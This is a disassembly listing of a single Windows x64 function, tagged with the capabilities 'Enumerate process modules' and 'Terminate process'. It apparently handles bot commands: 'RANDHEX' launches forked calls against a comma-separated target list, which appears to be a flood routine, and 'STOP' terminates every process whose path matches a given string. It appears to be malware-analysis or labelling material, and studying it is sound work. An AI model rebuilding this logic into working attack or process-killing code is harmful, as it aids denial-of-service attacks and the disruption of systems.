Function at 0x401c3e
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push rbp
mov eax, 0x1180
call fcn.00403800
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1110], ecx
mov qword [rbp + 0x1118], rdx
mov rax, qword [rbp + 0x1118]
mov rax, qword [rax]
lea rdx, str.RANDHEX
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x401dd0
cmp dword [rbp + 0x1110], 3
jle 0x401fc3
mov rax, qword [rbp + 0x1118]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x401fc3
mov rax, qword [rbp + 0x1118]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x401fc3
mov rax, qword [rbp + 0x1118]
mov rax, qword [rax + 8]
mov qword [rbp + 0x10e8], rax
mov rax, qword [rbp + 0x1118]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x10e4], eax
mov rax, qword [rbp + 0x1118]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x10e0], eax
mov rax, qword [rbp + 0x10e8]
mov edx, 0x2c
mov rcx, rax
call sym.strchr
test rax, rax
je 0x401d9b
mov rax, qword [rbp + 0x10e8]
lea rdx, [0x0040b052]
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x10f8], rax
jmp 0x401d8f
call sym.listFork
test eax, eax
jne 0x401d74
mov ecx, dword [rbp + 0x10e0]
mov edx, dword [rbp + 0x10e4]
mov rax, qword [rbp + 0x10f8]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
lea rax, [0x0040b052]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x10f8], rax
cmp qword [rbp + 0x10f8], 0
jne 0x401d4d
jmp 0x401dd0
call sym.listFork
test eax, eax
jne 0x401fc6
mov ecx, dword [rbp + 0x10e0]
mov edx, dword [rbp + 0x10e4]
mov rax, qword [rbp + 0x10e8]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
mov ecx, 0
call sym._exit
mov rax, qword [rbp + 0x1118]
mov rax, qword [rax]
lea rdx, str.STOP
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x401fc9
mov dword [rbp + 0x10f4], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x10dc], eax
mov qword [rbp + 0x10d0], 0
mov dword [rbp + 0x10cc], 0
lea rdx, [rbp + 0x10bc]
lea rax, [rbp + 0xb0]
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call sym.K32EnumProcesses
test eax, eax
jne 0x401e55
lea rax, str.Failed_to_enumerate_processes._n
mov rcx, rax
call sym.printf
jmp 0x401fca
mov eax, dword [rbp + 0x10bc]
shr eax, 2
mov dword [rbp + 0x10cc], eax
mov eax, dword [rbp + 0x10cc]
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x10d0], rax
mov dword [rbp + 0x10f0], 0
jmp 0x401f6f
mov eax, dword [rbp + 0x10f0]
mov eax, dword [rbp + rax*4 + 0xb0]
test eax, eax
je 0x401f68
mov eax, dword [rbp + 0x10f0]
mov eax, dword [rbp + rax*4 + 0xb0]
cmp dword [rbp + 0x10dc], eax
je 0x401f68
mov eax, dword [rbp + 0x10f0]
mov eax, dword [rbp + rax*4 + 0xb0]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x10c0], rax
cmp qword [rbp + 0x10c0], 0
je 0x401f68
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x10c0]
mov r9d, 0x104
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.K32GetModuleFileNameExA
test eax, eax
je 0x401f55
mov rax, qword [rbp + 0x1118]
add rax, 0x10
mov rdx, qword [rax]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x401f55
mov rax, qword [rbp + 0x10c0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
test eax, eax
je 0x401f55
add dword [rbp + 0x10f4], 1
mov rax, qword [rbp + 0x10c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add dword [rbp + 0x10f0], 1
mov eax, dword [rbp + 0x10f0]
cmp eax, dword [rbp + 0x10cc]
jb 0x401e8c
mov rax, qword [rbp + 0x10d0]
mov rcx, rax
call sym.free
cmp dword [rbp + 0x10f4], 0
jle 0x401fb2
mov eax, dword [rbp + 0x10f4]
mov edx, eax
lea rax, str._d_processes_terminated._n
mov rcx, rax
call sym.printf
jmp 0x401fc9
lea rax, str.No_processes_terminated._n
mov rcx, rax
call sym.printf
jmp 0x401fc9
nop
jmp 0x401fca
nop
jmp 0x401fca
nop
add rsp, 0x1180
pop rbp
ret